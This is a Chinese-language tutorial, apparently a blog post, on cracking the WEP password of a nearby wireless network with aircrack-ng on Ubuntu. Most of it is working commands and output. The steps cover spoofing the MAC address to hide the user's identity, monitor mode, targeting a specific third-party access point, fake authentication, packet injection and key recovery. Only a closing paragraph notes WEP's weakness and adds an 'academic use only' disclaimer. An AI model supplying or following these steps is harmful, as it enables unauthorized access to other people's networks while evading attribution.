背景&前提
- 本文所阐述的破解技术是基于WEP格式的加密无线网络。
- 本文假定你使用的是Ubuntu Linux操作系统,Windows平台下所用方法与本文类似。
- 本文假定你有一个可以接收无线信号的网卡,同时该网卡支持监听(monitor)模式。
- 本文假定你的网卡可以接收到无线信号,即在你的周围有无线信号。
准备工作
在正式进入破解之前,还是需要做一些准备工作的。
-
安装aircrack-ng无线破解软件
- 打开终端(Applications->Accessories->Terminal)。
- 输入命令:
sudo apt-get install aircrack-ng
- 这时aircrack-ng会自动下载并安装。
- (完成后可在终端中输入以下命令
sudo aircrack-ng --help
来测试是否安装成功)。
- 其实,下载的aircrack-ng不仅仅是“一个”程序,而是一个套件。本文中,我们将会用到其中的:
- airmon-ng
- airodump-ng
- aireplay-ng
- aircrack-ng
-
获取本机无线网卡信息
首先我们应该知道我们的无线网卡在系统中叫什么名字(也就是标识)。
- 输入命令:
sudo ifconfig
- 在输出的内容中,我们应该可以看到类似于”wlan0″的标识,如下图所示。
wlan0 Link encap:Ethernet HWaddr 00:22:fa:88:50:4e inet6 addr: fe80::20da:a7ff:fe90:a6f5/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:1961 errors:0 dropped:0 overruns:0 frame:0 TX packets:2123 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1838600 (1.8 MB) TX bytes:473232 (473.2 KB)
(后文中,wlan0就表示我们要操纵的无线网卡)
- 输出内容HWaddr后便是无线网卡(wlan0)的MAC地址 00:22:fa:88:50:4e
- 输入命令:
-
修改无线网卡地址(推荐)
如果你不想被别人知道你的真实身份的话,建议你修改自己的无线网卡地址(MAC地址)。
在此我们使用macchanger这个程序来修改自己的网卡地址。- 安装macchanger:
sudo apt-get install macchanger
- 在修改之前,需要把网卡停止:
sudo ifconfig wlan0 down
- 将自己的网卡地址修改成随机地址:
sudo macchanger -r wlan0
命令中的-r 表示将网卡wlan0的网卡地址修改为任意值,我们此时修改为:22:da:a7:90:a6:f5。
Current MAC: 00:22:fa:88:50:4e (unknown) Faked MAC: 22:da:a7:90:a6:f5 (unknown)
- 重新启用无线网卡:
sudo ifconfig wlan0 up
- 安装macchanger:
开始破解
准备工作完成后,便可进入破解工作。
-
将网卡调整到监听模式
在正常状态下,无线网卡是无法侦测到附近电脑与无线接入点之间的通信的。所以为了获取它们之间的通信数据,我们需要开启无线网卡的监听模式。
- 在修改之前通过命令:
iwconfig
来查看现在的网卡信息,并通过如下命令:
sudo airmon-ng start wlan0
来开启无线网卡wlan0的监听模式。
- (开启之后的监听网卡名字默认为mon0,可通过命令:
iwconfig
来查看网卡信息,我们会发现现在系统多出一个网卡mon0,状态为:Monitor态)
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.432 GHz Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:off
- 在修改之前通过命令:
-
查看附近无线网络
现在我们就可以查看附近有哪些无线网络了。
- 通过命令:
sudo airodump-ng mon0
来查看无线网络,结果如下所示(经过处理):
CH 5 ][ Elapsed: 12 s ][ 20XX-XX-02 10:29 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:CD:5A:94:12 -47 75 2 0 6 54 . WEP WEP zhy 00:25:86:XX:XX:XX -58 70 6 0 6 54 . WEP WEP 317 C8:3A:35:XX:XX:XX -75 23 0 0 6 54e WPA2 CCMP PSK 415 00:23:CD:XX:XX:XX -75 21 0 0 3 54 . WEP WEP 314 00:27:19:XX:XX:XX -73 28 0 0 6 54 . WPA2 CCMP PSK TP-LINK_78CFD4 BSSID STATION PWR Rate Lost Packets Probes (not associated) 00:25:D3:XX:XX:XX -70 0 - 1 42 36 (not associated) 00:1C:BF:XX:XX:XX -70 0 - 1 1 3 (not associated) 00:25:D3:XX:XX:XX -56 0 - 1 14 72 (not associated) 00:26:82:XX:XX:XX -76 0 - 1 21 5 FAST 00:23:CD:5A:94:12 00:13:02:XX:XX:XX -76 48 -54 0 2
- 当周围环境中的无线网络接入点基本显示完全后,Ctrl+C结束当前程序。但是不要关闭当前窗口,因为我们还要利用这些数据,为方便下次使用你也可以复制这些数据到文本中。
- 通过命令:
-
获取指定无线接入点数据包
比如我们要破解上面的一个BSSID为:00:23:CD:5A:94:12的接入点(ESSID为:zhy),我们就需要获取它相应的数据包。
- 打开一个新的终端,并输入命令:
sudo airodump-ng mon0 -w meiyou --bssid 00:23:CD:5A:94:12 -c 6
其中,参数-w指明数据保存文件(meiyou),参数–bssid指明要截取数据包的接入点MAC地址,参数-c指明获取的频道为6。
- (当前程序不要中止,再打开一个新的终端,进行下一步)
- 打开一个新的终端,并输入命令:
-
对无线接入点进行注入(推荐)
如果你感觉上面数据包截取的数据(#Data项)速度太慢,那么你最好对该接入点进行注入。(注:有时,该方法对某些类型的接入点不太好用)
-
和该接入点进行关联
- 在刚才打开的新终端下,输入命令:
sudo aireplay-ng -1 0 -a 00:23:CD:5A:94:12 -h 22:da:a7:90:a6:f5 mon0
其中,参数-1指明这是虚拟认证(Fake authentication),参数0含义不明(官方解释为:0 reassociation timing in seconds),参数-a指明接入点MAC地址,参数-h指明本机MAC地址,mon0为本机网卡名称。
- 如果返回结果如下所示,就说明你已经和该接入点关联起来了:
09:50:52 Waiting for beacon frame (BSSID: 00:23:CD:5A:94:12) on channel 6 09:50:52 Sending Authentication Request (Open System) [ACK] 09:50:52 Authentication successful 09:50:52 Sending Association Request [ACK] 09:50:52 Association successful :-) (AID: 1)
- 在刚才打开的新终端下,输入命令:
-
对该接入点进行注入
- 通过命令:
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 00:23:CD:5A:94:12 -h 22:da:a7:90:a6:f5 mon0
其中,参数-2指明这是Interactive packet replay方式,参数-F指明使用第一个匹配的数据包,参数-p指明数据帧的控制字符,参数-c指明目的MAC地址,参数-b指明接入点MAC地址,参数-h指明源地址MAC地址,mon0为本机网卡名称。
- 如果返回结果如下所示,那么这时,上一个正在截获数据的终端的#Data项数值应该会疯涨,表明注入成功。
Saving chosen packet in replay_src-0502-095620.cap You should also start airodump-ng to capture replies. Sent 3152 packets...(499 pps)
- (当前程序不要中止,因为我们需要一直进行注入,直到下一步的破解成功为止)
- 通过命令:
-
-
破解WEP密码
现在,airodump-ng命令正在截获指定接入点的通信数据,aireplay-ng命令正在对指定接入点进行注入,以增加数据量。那么现在,我们就可以通过另一个命令来处理这些正在截获的数据,以求破解其中的WEP密码。
- 打开一个新的终端,输入命令:
ls meiyou*
列出了刚才保存的数据文件(meiyou-01.cap),如果你多次截取的话,应该会有多个cap文件。
- 通过如下命令,加载数据截取文件,破解WEP密码:
sudo aircrack-ng meiyou-01.cap
如果你需要加载多个文件,同时进行破解,输入如下命令:
sudo aircrack-ng meiyou-*.cap
- 现在aircrack-ng程序正在对数据截取文件进行破解,企图找到WEP密码,如果没有找到密码,aircrack-ng程序会等到另一终端截(airodump-ng)取到5000个数据后,重新进行破解。
- (现在你应该开着3个终端,一个正在截取接入点数据,一个正在对接入点进行注入,还有一个正在对所截取的文件进行WEP密码破解。如果最后一个终端显示出密码话,进入下一步收尾工作)
- 如果一切顺利,密码会自动显示出来:
Aircrack-ng 1.1 [00:01:41] Tested 87 keys (got 25012 IVs) KB depth byte(vote) 0 0/ 1 62(37120) 11(33536) 4C(33536) 70(33536) 87(33024) 1 0/ 1 61(39168) 27(35072) AF(34304) CC(34048) 83(33792) 2 3/ 5 1F(33792) 2C(33280) 3E(33280) 82(33024) 9F(33024) 3 0/ 3 64(34816) 58(34048) B5(34048) 6A(33280) 7C(33280) 4 1/ 7 75(34304) 50(33792) F1(33792) 10(33536) 23(33536) KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 ) Decrypted correctly: 100%
- 打开一个新的终端,输入命令:
-
收尾工作
- 终止aireplay-ng程序对无线接入点的注入(Ctrl+Z终止程序)
- 终止airodump-ng程序对数据的截获(Ctrl+C 终止程序)
- 至此,完成对指定接入点的WEP密码破解。
反思
就这样,我们很轻松的完成了对WEP无线网络密码的破解工作,由此我们也可以看出采用WEP密码格式加密的无线网络的安全性很低,如果有可能,接入点应采用更高级的加密格式,如WPA/WPA2,而且现在大部分的路由也都支持这种加密格式。
最后,再次重申,本文旨在学术交流,切勿用之非法目的!如遇非法之情事,与本文作者无关。